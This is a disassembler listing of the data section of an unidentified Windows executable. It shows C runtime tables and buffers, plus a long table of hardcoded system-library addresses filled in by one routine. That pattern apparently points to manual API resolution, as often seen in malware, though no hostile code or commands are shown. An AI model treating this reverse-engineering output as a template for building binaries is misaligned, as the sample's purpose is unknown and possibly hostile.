dword_4284B8 dd 0DFA6h ; DATA XREF: __setmbcp+C0r
align 10h
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_428598 dd 0C0000005h ; DATA XREF: __setmbcp+3Co
; _xcptlookup+Ar ...
dd 0Bh, 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_428610 dd 3 ; DATA XREF: __XcptFilter+58r
dword_428614 dd 7 ; DATA XREF: __XcptFilter+5Er
dword_428618 dd 0Ah ; DATA XREF: _xcptlookup+4r
dword_42861C dd 8Ch ; DATA XREF: __XcptFilter+82r
; __XcptFilter+8Fw ...
dword_428620 dd 0FFFFFFFFh, 0A00h ; DATA XREF: __flsbuf:loc_414A76o
; __filbuf:loc_41606Ao
dword_428628 dd 19930520h, 3 dup(0) ; DATA XREF: .text:00417D4Fo
; __NLG_Notify+2o
dword_428638 dd 2 ; DATA XREF: __NMSG_WRITE+Eo
; __NMSG_WRITE+28r
off_42863C dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr
; __NMSG_WRITE+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 41B914h, 9, 41B8E8h, 0Ah, 41B8C4h, 10h, 41B898h
dd 11h, 41B868h, 12h, 41B844h, 13h, 41B818h, 18h, 41B7E0h
dd 19h, 41B7B8h, 1Ah, 41B780h, 1Bh, 41B748h, 1Ch, 41B720h
dd 78h, 41B710h, 79h, 41B700h, 7Ah, 41B6F0h, 0FCh, 41FD9Ch
dd 0FFh, 41B6E0h
dword_4286C8 dd 2 dup(0) ; DATA XREF: __NMSG_WRITE+1Bo
off_4286D0 dd offset dword_475800 ; DATA XREF: ___initstdio+55o
dd 0
dd offset dword_475800
dd 101h
dword_4286E0 dd 0FFFFFFFFh, 0 ; DATA XREF: ___initstdio+72o
dd 1000h, 0
dword_4286F0 dd 3 dup(0) ; DATA XREF: __flsbuf+50o __stbuf+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_428710 dd 3 dup(0) ; DATA XREF: __flsbuf+58o
; __stbuf:loc_417220o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_428740 dd 84h dup(0) ; DATA XREF: ___initstdio+9Bo
dword_428950 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: ___initstdio+69o
; sub_4192B5o
dword_428968 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_4192CBo
dword_428980 dd 7080h ; DATA XREF: ___loctotime_t+76r
; __tzset+5Ew ...
dword_428984 dd 1 ; DATA XREF: ___loctotime_t+98r
; __tzset+8Bw ...
dword_428988 dd 0FFFFF1F0h ; DATA XREF: ___loctotime_t:loc_416B39r
; __tzset+94w ...
dword_42898C dd 545350h, 0Fh dup(0) ; DATA XREF: .data:off_428A0Co
dword_4289CC dd 544450h, 0Fh dup(0) ; DATA XREF: .data:off_428A10o
; char *off_428A0C
off_428A0C dd offset dword_42898C ; DATA XREF: __tzset+BAr __tzset+D9r ...
; char *off_428A10
off_428A10 dd offset dword_4289CC ; DATA XREF: __tzset+F4r __tzset+11Br ...
align 8
dword_428A18 dd 0FFFFFFFFh ; DATA XREF: __tzset+1Dw __isindst+1Er ...
dword_428A1C dd 0 ; DATA XREF: __isindst:loc_41987Cr
; _cvtdate+BFw
dword_428A20 dd 0 ; DATA XREF: __isindst+192r
; _cvtdate+E0w
align 8
dword_428A28 dd 0FFFFFFFFh ; DATA XREF: __tzset+17w __isindst+26r ...
dword_428A2C dd 0 ; DATA XREF: __isindst+13Ar
; _cvtdate+EAw ...
dword_428A30 dd 0 ; DATA XREF: __isindst+1A1r
; _cvtdate+23r ...
dword_428A34 dd 0FFFFFFFFh ; DATA XREF: _cvtdate+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_428A64 dd 16Dh ; DATA XREF: ___loctotime_t+2Ar
; _cvtdate+2Er ...
dword_428A68 dd 0FFFFFFFFh ; DATA XREF: _cvtdate:loc_419980r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_428AA0 dd 2 dup(0) ; DATA XREF: ___multtenpow12+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
dd 400FC350h, 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_428C00 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: ___multtenpow12+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
dword_428D60 dd 0 ; DATA XREF: sub_401000+9Eo
; char byte_428D64
byte_428D64 db 0 ; DATA XREF: sub_401000+36r
; sub_4010E3+37r ...
align 4
dword_428D68 dd 0 ; DATA XREF: sub_40226C+18r
; sub_4026BF+92w ...
dword_428D6C dd 0 ; DATA XREF: sub_4027F8+4Dr
; sub_402A0C+D9w ...
dd 3E6h dup(0)
dword_429D08 dd 6 dup(0) ; DATA XREF: sub_4027F8+CFo
; sub_4027F8+138o ...
dword_429D20 dd 0 ; DATA XREF: sub_4022E3+82w
; sub_4022E3+102o
dword_429D24 dd 41h dup(0) ; DATA XREF: sub_4022E3+41o
; char byte_429E28[]
byte_429E28 db 104h dup(0) ; DATA XREF: sub_4022E3+63o
dword_429F2C dd 0 ; DATA XREF: sub_4022E3+F8w
; sub_4022E3+114r
dword_429F30 dd 0 ; DATA XREF: sub_4022E3+52w
dword_429F34 dd 0 ; DATA XREF: sub_4022E3+4Dw
; sub_4022E3+CFr
; char byte_429F38[]
byte_429F38 db 80h dup(0) ; DATA XREF: sub_4022E3+9Ao
; sub_4022E3+BAo
dword_429FB8 dd 0 ; DATA XREF: sub_4022E3+8Fw
dword_429FBC dd 0 ; DATA XREF: sub_4022E3+A7w
; sub_4022E3+C7w
dword_429FC0 dd 0 ; DATA XREF: sub_4022E3:loc_40240Dr
align 8
dword_429FC8 dd 0 ; DATA XREF: sub_4022E3+2D5w
; sub_4022E3+32Eo
; char Dest[]
Dest db 288h dup(0) ; DATA XREF: sub_4022E3+2C3o
; char byte_42A254[]
byte_42A254 db 104h dup(0) ; DATA XREF: sub_4022E3+28Do
dword_42A358 dd 0 ; DATA XREF: sub_4022E3+2BAw
; sub_4022E3+2E1r
align 10h
dword_42A360 dd 0 ; DATA XREF: sub_4022E3+324w
; sub_4022E3+340r
dword_42A364 dd 0 ; DATA XREF: sub_4022E3+2E7w
dword_42A368 dd 0 ; DATA XREF: sub_4022E3+2F4w
dword_42A36C dd 0 ; DATA XREF: sub_4022E3+2B4w
dd 0
dword_42A374 dd 0 ; DATA XREF: sub_4022E3:loc_402639r
dword_42A378 dd 0 ; DATA XREF: sub_4022E3+1A1w
; sub_4022E3+221o
dword_42A37C dd 41h dup(0) ; DATA XREF: sub_4022E3+163o
; char byte_42A480[]
byte_42A480 db 104h dup(0) ; DATA XREF: sub_4022E3+182o
dword_42A584 dd 0 ; DATA XREF: sub_4022E3+217w
; sub_4022E3+233r
dword_42A588 dd 0 ; DATA XREF: sub_4022E3+171w
dword_42A58C dd 0 ; DATA XREF: sub_4022E3+1EEr
; char byte_42A590[]
byte_42A590 db 80h dup(0) ; DATA XREF: sub_4022E3+1B9o
; sub_4022E3+1D9o
dword_42A610 dd 0 ; DATA XREF: sub_4022E3+1AEw
dword_42A614 dd 0 ; DATA XREF: sub_4022E3+1C6w
; sub_4022E3+1E6w
dword_42A618 dd 0 ; DATA XREF: sub_4022E3:loc_40252Dr
align 10h
; char byte_42A620[]
byte_42A620 db 4000h dup(0) ; DATA XREF: sub_402D63+1Do
; sub_402E03o ...
; char Source[]
Source db 4 dup(0) ; DATA XREF: sub_402D63+13o
; sub_402E03+Eo ...
dword_42E624 dd 0Eh dup(0) ; DATA XREF: sub_403A49+Fo
dword_42E65C dd 2 dup(0) ; DATA XREF: sub_403DCB+C8o
dword_42E664 dd 0 ; DATA XREF: sub_40465A+2Aw
; sub_40465A+51r ...
dword_42E668 dd 0 ; DATA XREF: sub_401A39+ACr
; sub_404059+72w ...
align 10h
byte_42E670 db 0 ; DATA XREF: sub_40588C+1D3w
; sub_40588C+2D2o
align 2
word_42E672 dw 0 ; DATA XREF: sub_40588C+1E3w
word_42E674 dw 0 ; DATA XREF: sub_40588C+1E9w
word_42E676 dw 0 ; DATA XREF: sub_40588C+1F0w
byte_42E678 db 0 ; DATA XREF: sub_40588C+1F7w
byte_42E679 db 0 ; DATA XREF: sub_40588C+1FEw
word_42E67A dw 0 ; DATA XREF: sub_40588C+204w
dword_42E67C dd 0 ; DATA XREF: sub_40588C+234w
; sub_40588C+250w
dword_42E680 dd 0 ; DATA XREF: sub_40588C+258w
byte_42E684 db 0 ; DATA XREF: sub_40588C+26Aw
byte_42E685 db 0 ; DATA XREF: sub_40588C+27Dw
word_42E686 dw 0 ; DATA XREF: sub_40588C+295w
word_42E688 dw 0 ; DATA XREF: sub_40588C+2A4w
word_42E68A dw 0 ; DATA XREF: sub_40588C+29Cw
dword_42E68C dd 101h dup(0) ; DATA XREF: sub_40588C+2B9o
dword_42EA90 dd 77C72C6Bh ; DATA XREF: sub_405EFF+42Fw
; sub_405EFF+473r
dword_42EA94 dd 77EBA994h ; DATA XREF: sub_405EFF+65w
; sub_4088B4+166r
dword_42EA98 dd 7622A3F4h ; DATA XREF: sub_405EFF+793w
; sub_405EFF+808r ...
dword_42EA9C dd 71C45229h ; DATA XREF: sub_405EFF+960w
; sub_405EFF+9BEr ...
dword_42EAA0 dd 71C24870h ; DATA XREF: sub_405EFF+912w
; sub_405EFF+98Er ...
dword_42EAA4 dd 77C71BB0h ; DATA XREF: sub_405EFF+415w
; sub_405EFF+463r
dword_42EAA8 dd 71C4502Ch ; DATA XREF: sub_405EFF+953w
; sub_405EFF+9B6r ...
dword_42EAAC dd 77DE801Bh ; DATA XREF: sub_405EFF+2FAw
; sub_405EFF+34Fr ...
dword_42EAB0 dd 77DDACABh ; DATA XREF: sub_405EFF+397w
; sub_410E85+11Er
dword_42EAB4 dd 77DE8075h ; DATA XREF: sub_405EFF+307w
; sub_405EFF+357r ...
dword_42EAB8 dd 77DD7496h ; DATA XREF: sub_405EFF+348w
; sub_407944+ADr
dword_42EABC dd 71AB1B7Bh ; DATA XREF: sub_404771+115r
; sub_405EFF+4E2w ...
dword_42EAC0 dd 77E686CCh ; DATA XREF: sub_403B11+1Br
; sub_405EFF+72w ...
dword_42EAC4 dd 71C2498Bh ; DATA XREF: sub_405EFF+905w
; sub_405EFF+981r ...
dword_42EAC8 dd 77DDAB2Fh ; DATA XREF: sub_405EFF+32Ew
; sub_405EFF+36Fr ...
dword_42EACC dd 7620E8C3h ; DATA XREF: sub_405EFF+7E1w
; sub_405EFF+834r
dword_42EAD0 dd 77DD23D7h ; DATA XREF: sub_405EFF+24Bw
; sub_405EFF+27Cr
dword_42EAD4 dd 76214750h ; DATA XREF: sub_403520+3Ar
; sub_405EFF+7D4w ...
dword_42EAD8 dd 77E6D75Bh ; DATA XREF: sub_405EFF+B3w
dword_42EADC dd 7620BD61h ; DATA XREF: sub_403520+109r
; sub_405EFF+7EEw ...
dword_42EAE0 dd 71AB60C9h ; DATA XREF: sub_405EFF+4D5w
; sub_405EFF+658r ...
dword_42EAE4 dd 77EBA6E9h ; DATA XREF: sub_405EFF+58w
; sub_405EFF+CAr ...
dword_42EAE8 dd 76D62A58h ; DATA XREF: sub_405EFF+8BCw
; sub_4084A7+11Ar
dword_42EAEC dd 76F36EAAh ; DATA XREF: sub_405EFF+A0Cw
; sub_405EFF+A13r ...
dword_42EAF0 dd 77E802FCh ; DATA XREF: sub_405EFF+A6w
; sub_405EFF+F2r
dword_42EAF4 dd 77C75455h ; DATA XREF: sub_405EFF+408w
; sub_405EFF+45Br
dword_42EAF8 dd 71AB12A7h ; DATA XREF: sub_402677+20r
; sub_405EFF+57Ew ...
dword_42EAFC dd 71C574FAh ; DATA XREF: sub_405EFF+946w
; sub_405EFF+9AEr
dword_42EB00 dd 71AB1746h ; DATA XREF: sub_405EFF+571w
; sub_405EFF+6DCr
dword_42EB04 dd 71B28D0Dh ; DATA XREF: sub_4010E3+9Ar
; sub_405EFF+AC7w
dword_42EB08 dd 762211EFh ; DATA XREF: sub_405EFF+786w
; sub_405EFF+7F5r ...
dword_42EB0C dd 77D902E3h ; DATA XREF: sub_405EFF+1B3w
; sub_407228+15r
dword_42EB10 dd 71C2FA86h ; DATA XREF: sub_405EFF+91Fw
; sub_405EFF+996r ...
dword_42EB14 dd 77DE1291h ; DATA XREF: sub_405EFF+314w
; sub_405EFF+35Fr ...
dword_42EB18 dd 77E2C1B3h ; DATA XREF: sub_405EFF+321w
; sub_405EFF+367r ...
dword_42EB1C dd 71ABF628h ; DATA XREF: sub_405EFF+634w
; sub_40F1B7+D0r
dword_42EB20 dd 71AB1836h ; DATA XREF: sub_40318B:loc_4034B6r
; sub_403520+46Cr ...
dword_42EB24 dd 77C72889h ; DATA XREF: sub_405EFF+43Cw
dword_42EB28 dd 71C453F8h ; DATA XREF: sub_405EFF+96Dw
; sub_405EFF+9C6r ...
dword_42EB2C dd 77DD5C55h ; DATA XREF: sub_402FA4+51r
; sub_405EFF+258w ...
dword_42EB30 dd 77E96645h ; DATA XREF: sub_403D46+25r
; sub_403D46+39r ...
dword_42EB34 dd 77428B97h ; DATA XREF: sub_403520+33Cr
; sub_405EFF+B14w ...
dword_42EB38 dd 71AB41DAh ; DATA XREF: sub_40318B+2Fr
; sub_40576B+17r ...
dword_42EB3C dd 762059A3h ; DATA XREF: sub_405EFF+7ADw
; sub_405EFF+818r
dword_42EB40 dd 71C4A1B4h ; DATA XREF: sub_405EFF+92Cw
; sub_405EFF+99Er
dword_42EB44 dd 1F7CD214h ; DATA XREF: sub_405EFF+B85w
; sub_405EFF+BB6r
dword_42EB48 dd 76D629BBh ; DATA XREF: sub_405EFF+8A2w
; sub_405EFF+8B6r ...
dword_42EB4C dd 1F7B9D96h ; DATA XREF: sub_405EFF+B9Fw
dword_42EB50 dd 71AB1740h ; DATA XREF: sub_40318B:loc_403480r
; sub_404771:loc_404B5Cr ...
dword_42EB54 dd 7620AFB6h ; DATA XREF: sub_405EFF+7C7w
; sub_405EFF+7FBr
dword_42EB58 dd 77D45B19h ; DATA XREF: sub_405EFF+172w
; sub_405EFF+1C2r
dword_42EB5C dd 71AB157Eh ; DATA XREF: sub_405EFF+600w
; sub_405EFF+72Cr ...
dword_42EB60 dd 71AB3E5Dh ; DATA XREF: sub_4013EE+20Ar
; .text:00401906r ...
dword_42EB64 dd 71AB14DCh ; DATA XREF: sub_405EFF+4EFw
; sub_405EFF+664r
dword_42EB68 dd 0CC0004h ; DATA XREF: sub_403520+34r
; sub_405EFF+863w ...
dword_42EB6C dd 77DD590Bh ; DATA XREF: sub_402FA4+26r
; sub_405EFF+231w ...
dword_42EB70 dd 71ABD755h ; DATA XREF: sub_405EFF+627w
; sub_405EFF+744r ...
dword_42EB74 dd 77DF7311h ; DATA XREF: sub_405EFF+2B5w
; sub_405EFF+2C9r ...
dword_42EB78 dd 77DDA2AFh ; DATA XREF: sub_405EFF+33Bw
; sub_405EFF+377r ...
dword_42EB7C dd 1F7CD927h ; DATA XREF: sub_405EFF+B78w
; sub_405EFF+BAEr
dword_42EB80 dd 76206853h ; DATA XREF: sub_405EFF+7A0w
; sub_405EFF+810r
dword_42EB84 dd 77D5E310h ; DATA XREF: sub_405EFF+18Cw
; sub_405EFF+1D2r ...
dword_42EB88 dd 76206B7Fh ; DATA XREF: sub_405EFF+7BAw
; sub_405EFF+820r
dword_42EB8C dd 71AB1444h ; DATA XREF: sub_405EFF+5ACw
; sub_405EFF+6FCr ...
dword_42EB90 dd 77DD189Ah ; DATA XREF: sub_402FA4+5Ar
; sub_405EFF+265w
dword_42EB94 dd 71AB3F8Dh ; DATA XREF: sub_40318B+6Fr
; sub_40588C+AAr ...
dword_42EB98 dd 77DD5D20h ; DATA XREF: sub_405EFF+2A8w
; sub_405EFF+2BCr ...
dword_42EB9C dd 71AB1890h ; DATA XREF: sub_40275B+82r
; sub_404771+F9r ...
dword_42EBA0 dd 77C76B34h ; DATA XREF: sub_405EFF+3D4w
; sub_405EFF+436r
dword_42EBA4 dd 77D5E38Ch ; DATA XREF: sub_405EFF+199w
; sub_405EFF+1DAr ...
dword_42EBA8 dd 77DDA20Bh ; DATA XREF: sub_405EFF+2EDw
; sub_405EFF+342r ...
dword_42EBAC dd 76F36EEBh ; DATA XREF: sub_405EFF+A19w
dword_42EBB0 dd 71AB12A7h ; DATA XREF: sub_402677+2Br
; sub_40318B+EBr ...
dword_42EBB4 dd 71AB1746h ; DATA XREF: sub_4013EE+1BAr
; .text:004017EEr ...
dword_42EBB8 dd 77EBA595h ; DATA XREF: sub_405EFF+4Bw
; sub_405EFF+C2r ...
dword_42EBBC dd 77C7531Dh ; DATA XREF: sub_405EFF+3FBw
; sub_405EFF+453r
dword_42EBC0 dd 77D4BDCAh ; DATA XREF: sub_405EFF+165w
; sub_405EFF+1BAr ...
dword_42EBC4 dd 71C3516Ah ; DATA XREF: sub_405EFF+987w
; sub_40822D+72r
dword_42EBC8 dd 71AB32CAh ; DATA XREF: sub_405EFF+60Dw
; sub_405EFF+734r
dword_42EBCC dd 71AB5690h ; DATA XREF: sub_4013EE+23Br
; sub_4013EE+263r ...
dword_42EBD0 dd 1F7CB8F8h ; DATA XREF: sub_405EFF+B92w
; sub_405EFF+BBEr
dword_42EBD4 dd 77EBB1E7h ; DATA XREF: sub_405EFF+3Ew
; sub_405EFF+BAr ...
dword_42EBD8 dd 77DD59F0h ; DATA XREF: sub_402FA4+45r
; sub_405EFF+23Ew ...
dword_42EBDC dd 71AB5DE2h ; DATA XREF: sub_404771+9Er
; sub_405C73+74r ...
dword_42EBE0 dd 71AB3ECEh ; DATA XREF: sub_404771+89r
; sub_405C73+62r ...
dword_42EBE4 dd 76204E4Dh ; DATA XREF: sub_403520+4DCr
; sub_405EFF+801w
dword_42EBE8 dd 0 ; DATA XREF: sub_405EFF+112w
dword_42EBEC dd 1F7D886Ah ; DATA XREF: sub_405EFF+B5Ew
; sub_405EFF+B99r
dword_42EBF0 dd 71AB12F8h ; DATA XREF: sub_4013EE+1C8r
; .text:004017FCr ...
dword_42EBF4 dd 77C76551h ; DATA XREF: sub_405EFF+3E1w
; sub_405EFF+443r
dword_42EBF8 dd 77C729E2h ; DATA XREF: sub_405EFF+422w
; sub_405EFF+46Br
dword_42EBFC dd 77C7212Fh ; DATA XREF: sub_405EFF+3EEw
; sub_405EFF+44Br
dword_42EC00 dd 71AB1AF4h ; DATA XREF: sub_4013EE+221r
; sub_4013EE+249r ...
dword_42EC04 dd 77D5E303h ; DATA XREF: sub_405EFF+1A6w
; sub_405EFF+1E2r ...
dword_42EC08 dd 71C4576Ch ; DATA XREF: sub_405EFF+97Aw
; sub_405EFF+9CEr ...
dword_42EC0C dd 77D4702Fh ; DATA XREF: sub_405EFF+158w
; sub_405EFF+1ADr ...
dword_42EC10 dd 77E6C0E3h ; DATA XREF: sub_403AC8+4r
; sub_405EFF+8Cw ...
dword_42EC14 dd 71AB1ED3h ; DATA XREF: sub_40318B+2C2r
; sub_40588C+2DAr ...
dword_42EC18 dd 71B2A381h ; DATA XREF: sub_405EFF+ABAw
; sub_405EFF+AD6r
dword_42EC1C dd 77DDA595h ; DATA XREF: sub_405EFF+2C2w
; sub_408849+55r
dword_42EC20 dd 77DD22EAh ; DATA XREF: sub_405EFF+224w
; sub_405EFF+25Fr
dword_42EC24 dd 773F97B0h ; DATA XREF: sub_405EFF+B21w
dword_42EC28 dd 76D67A29h ; DATA XREF: sub_405EFF+A63w
; sub_408323+CEr
dword_42EC2C dd 76D674FAh ; DATA XREF: sub_405EFF+A56w
; sub_405EFF+A5Dr ...
dword_42EC30 dd 71AB3C22h ; DATA XREF: sub_4013EE+18Dr
; .text:004017C1r ...
dword_42EC34 dd 71AB2BBFh ; DATA XREF: sub_405EFF+61Aw
; sub_405EFF+73Cr ...
dword_42EC38 dd 1F7BA3A9h ; DATA XREF: sub_405EFF+B6Bw
; sub_405EFF+BA6r
dword_42EC3C dd 71AB401Ch ; DATA XREF: sub_40226C+1Fr
; sub_4027F8+86r ...
dword_42EC40 dd 71C214BAh ; DATA XREF: sub_405EFF+939w
; sub_405EFF+9A6r ...
dword_42EC44 dd 71AB868Dh ; DATA XREF: sub_404771+13Ar
; sub_405C73+94r ...
dword_42EC48 dd 71AB1A6Dh ; DATA XREF: sub_4013EE:loc_401666r
; sub_4013EE+28Cr ...
dword_42EC4C dd 71AB155Ah ; DATA XREF: sub_40275B+4Cr
; sub_404771+B7r ...
dword_42EC50 dd 71B22C25h ; DATA XREF: sub_401000+B0r
; sub_401000+C8r ...
dword_42EC54 dd 71AB5A01h ; DATA XREF: sub_40318B+4Fr
; sub_405EFF+4C8w ...
dword_42EC58 dd 71B2ACCBh ; DATA XREF: sub_405EFF+AA0w
; sub_405EFF+AC1r
dword_42EC5C dd 77E78C17h ; DATA XREF: sub_405EFF+31w
; sub_405EFF+ADr ...
dword_42EC60 dd 77D49A11h ; DATA XREF: sub_405EFF+17Fw
; sub_405EFF+1CAr
align 8
dword_42EC68 dd 76D62A37h ; DATA XREF: sub_405EFF+8AFw
; sub_405EFF+8C3r ...
dword_42EC6C dd 77E6CBF9h ; DATA XREF: sub_405EFF+99w
; sub_405EFF+EAr ...
dword_42EC70 dd 0 ; DATA XREF: sub_405EFF:loc_405FFDw
; sub_405EFF+12Bw ...
dword_42EC74 dd 0 ; DATA XREF: sub_405EFF+126w
; sub_406AE8+1Cr
dword_42EC78 dd 0 ; DATA XREF: sub_405EFF:loc_4060FAw
; sub_406AE8:loc_406B30r
dword_42EC7C dd 0 ; DATA XREF: sub_405EFF+1F6w
; sub_406AE8+50r
dword_42EC80 dd 0 ; DATA XREF: sub_405EFF:loc_40618Fw
; sub_405EFF:loc_4061D4w ...
dword_42EC84 dd 0 ; DATA XREF: sub_405EFF+3A6w
; sub_406AE8+84r
dword_42EC88 dd 0 ; DATA XREF: sub_405EFF:loc_40638Bw
; sub_406AE8:loc_406B98r
dword_42EC8C dd 0 ; DATA XREF: sub_405EFF+487w
; sub_406AE8+B8r
dword_42EC90 dd 0 ; DATA XREF: sub_405EFF:loc_40665Cw
; sub_406AE8:loc_406BCCr
dword_42EC94 dd 0 ; DATA XREF: sub_405EFF+758w
; sub_406AE8+ECr
dword_42EC98 dd 0 ; DATA XREF: sub_405EFF:loc_406747w
; sub_405EFF+877w ...
dword_42EC9C dd 0 ; DATA XREF: sub_405EFF+872w
; sub_406AE8+120r
dword_42ECA0 dd 0 ; DATA XREF: sub_405EFF:loc_4067DBw
; sub_406AE8:loc_406C34r ...
dword_42ECA4 dd 0 ; DATA XREF: sub_405EFF+8D7w
; sub_406AE8+154r
dword_42ECA8 dd 0 ; DATA XREF: sub_405EFF:loc_4068E6w
; sub_406AE8:loc_406C68r ...
dword_42ECAC dd 0 ; DATA XREF: sub_405EFF+9E2w
; sub_406AE8+188r
dword_42ECB0 dd 0 ; DATA XREF: sub_405EFF:loc_406930w
; sub_406AE8:loc_406C9Cr
dword_42ECB4 dd 0 ; DATA XREF: sub_405EFF+A2Cw
; sub_406AE8+1BCr
dword_42ECB8 dd 0 ; DATA XREF: sub_405EFF:loc_40697Aw
; sub_406AE8:loc_406CD0r
dword_42ECBC dd 0 ; DATA XREF: sub_405EFF+A76w
; sub_406AE8+1F0r
dword_42ECC0 dd 0 ; DATA XREF: sub_405EFF:loc_4069EEw
; sub_406AE8:loc_406D04r
dword_42ECC4 dd 0 ; DATA XREF: sub_405EFF+AEAw
; sub_406AE8+224r
dword_42ECC8 dd 0 ; DATA XREF: sub_405EFF:loc_406A38w
; sub_406AE8:loc_406D38r
dword_42ECCC dd 0 ; DATA XREF: sub_405EFF+B34w
; sub_406AE8+258r
dword_42ECD0 dd 0 ; DATA XREF: sub_405EFF:loc_406AD6w
; sub_406AE8:loc_406D6Cr
dword_42ECD4 dd 0 ; DATA XREF: sub_405EFF+BD2w
; sub_406AE8+28Cr
align 10h
; char byte_42ECE0[]
byte_42ECE0 db 204h dup(0) ; DATA XREF: sub_40703D+6Ao
; char byte_42EEE4[]
byte_42EEE4 db 5Ch dup(0) ; DATA XREF: sub_4074FB:loc_407618o
; sub_4074FB+131o ...
; char byte_42EF40[]
byte_42EF40 db 204h dup(0) ; DATA XREF: sub_40822D+7Co
; sub_40822D+A5o
; char byte_42F144[]
byte_42F144 db 5Ch dup(0) ; DATA XREF: sub_4080F9:loc_40821Bo
; sub_4080F9+12Do
; char byte_42F1A0[]
byte_42F1A0 db 204h dup(0) ; DATA XREF: sub_4077B6+4Bo
; sub_4077B6+7Do ...
; char byte_42F3A4[]
byte_42F3A4 db 200h dup(0) ; DATA XREF: sub_407A65+61o
; sub_407A65+88o ...
; char byte_42F5A4[]
byte_42F5A4 db 204h dup(0) ; DATA XREF: sub_4073D2+33o
; sub_4073D2+50o ...
; char byte_42F7A8[]
byte_42F7A8 db 18h dup(0) ; DATA XREF: sub_408401+32o
; char Str1[]
Str1 dd 0 ; DATA XREF: sub_402C6B+Ao
; sub_402C6B+44r ...
dd 5 dup(0)
dword_42F7D8 dd 0 ; DATA XREF: sub_402C6B+60r
; sub_409557+8B5r
dd 220h dup(0)
dword_43005C dd 0B9h dup(0) ; DATA XREF: .data:off_41D3F4o
; .data:0041DAA8o
dword_430340 dd 0 ; DATA XREF: sub_4027F8+A5r
; sub_402C6B+2Do ...
dd 7Fh dup(0)
dword_430540 dd 0 ; DATA XREF: sub_411C3A+41w
; sub_411D75+40w ...
dword_430544 dd 0 ; DATA XREF: sub_4027F8:loc_40283Fr
; sub_4027F8+7Cr ...
dword_430548 dd 0 ; DATA XREF: sub_40F002+164w
; sub_40FEA9+AEw ...
dword_43054C dd 0 ; DATA XREF: sub_403DCB+Cr
; sub_404771+7Ew ...
dword_430550 dd 0 ; DATA XREF: sub_40EB3A+11Ew
